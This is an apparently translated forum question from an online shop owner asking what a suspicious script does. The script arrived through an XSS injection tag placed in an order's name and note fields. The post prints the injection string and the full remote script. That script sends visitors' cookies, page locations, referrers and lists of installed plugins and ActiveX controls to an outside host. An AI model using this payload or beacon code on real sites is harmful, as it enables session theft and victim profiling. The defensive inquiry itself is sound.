Un sitio de comercio electrónico que ejecuté recientemente recibió una transacción sospechosa. El campo para el nombre del cliente incluía una etiqueta de secuencia de comandos, así (el nombre del cliente se cambió a John Doe para proteger el anonimato):
John Doe"><script src=//xss.re/692></script>
El campo de la nota (donde los clientes pueden escribir una nota sobre su pedido) tenía la misma etiqueta sin ningún otro texto:
"><script src=//xss.re/692></script>
La transacción parece normal. Se está enviando a lo que parece ser una dirección legítima en Ohio. El único otro problema es que la dirección de gmail de aspecto un tanto legítimo, [email protected]
rebotó. Como no puedo contactar con el comprador y el aspecto general es sombrío, voy a reembolsar el pago, así que no hay problema.
Lo que me interesa es cuál es el propósito de la etiqueta de script. Al buscar en Google "xss.re" no parece haber nada relacionado, y el sitio en sí solo presenta un cuadro de inicio de sesión para "IHONKER.ORG". La url específica en el script ("xss.re/692") carga el siguiente script:
var x=new Image();
try
{
var myopener='';
myopener=window.opener && window.opener.location ? window.opener.location : '';
}
catch(err)
{
}
x.src='http://xss.re/XSS/?do=api&act=r&id=692&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape
(document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);var activexa = new Array(
"Flash Player 8|ShockwaveFlash.ShockwaveFlash.8|classID",
"Flash Player 9|ShockwaveFlash.ShockwaveFlash.9|classID",
"360Safe|360SafeLive.Update|classID",
"Alibaba User(AliEdit)|Aliedit.EditCtrl|classID",
"CMB Bank|CMBHtmlControl.Edit|classID",
"Apple IPOD USER|IPodUpdaterExt.iPodUpdaterInterface|classID",
"Apple iTunes|iTunesAdmin.iTunesAdmin|classID",
"JRE 1.7|JavaWebStart.isInstalled.1.7.0.0|classID",
"JRE 1.6(WebStart)|JavaWebStart.isInstalled.1.6.0.0|classID",
"KMPlayer|KMPlayer.TKMPDropTarget|classID",
"KingSoft Word(�ʰ�)|KSEngine.Word|classID",
"Windows live Messanger|Messenger.MsgrObject|classID",
"Nero|NeroFileDialog.NeroFileDlg|classID",
"Nokia Cellphone|NokiaCL.PhoneControl|classID",
"PPlayer|PPlayer.XPPlayer|classID",
"Tencent QQ|Qqedit.PasswordEditCtrl|classID",
"QuickTime|QuickTime.QTElementBehavior|classID",
"Symantec Anti-Virus|Symantec.stInetTransferItem|classID",
"Xunlei|XunLeiBHO.ThunderIEHelper|classID"
);
function iescan(){
var mytmp;
var plus;
var bar;
var x=new Image();
for (i=0; i<activexa.length; i++){
mytmp = activexa[i].split('|');
if ( checkobj(mytmp[1]) == true ){
plus+="|"+mytmp[0]+"<br>";
}
}
bar = escape(plus);
x.src='http://xss.re/XSS/?do=api&act=r&id=692&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(document.myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);
}
function checkobj(objName){
try {
var Obj = new ActiveXObject(objName);
return true;
} catch (e){
return false;
}
}
//-------------
function check_plus() {
var plus = "";
var bar = "";
var b=new Image();
var num_of_plugins = navigator.plugins.length;
for (var i=0; i < num_of_plugins; i++) {
plus+= navigator.plugins[i].name+" | "+ navigator.plugins[i].filename +"<br>";
}
bar = escape(plus);
b.src='http://xss.re/XSS/?do=api&act=r&id=692&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);
}
function MyPlusCheck() {
if(!+[1,]){
iescan();
}else{
check_plus();
}
}
setTimeout("MyPlusCheck()", 3000);
Tengo problemas para entender lo que hace el script. Así que mis preguntas son:
¿Qué hace este script?
Siempre y cuando mi sitio no inserte entradas de usuario sin filtrar en el DOM (actualmente usa jQuery's .text (), que creo que es XSS safe ), ¿tengo algo de qué preocuparme por un ataque como este?
¿Existe alguna forma plausible de que esta etiqueta haya sido insertada por alguien que no sea la persona que realiza el pedido, es decir? malware en el sistema de un cliente legítimo?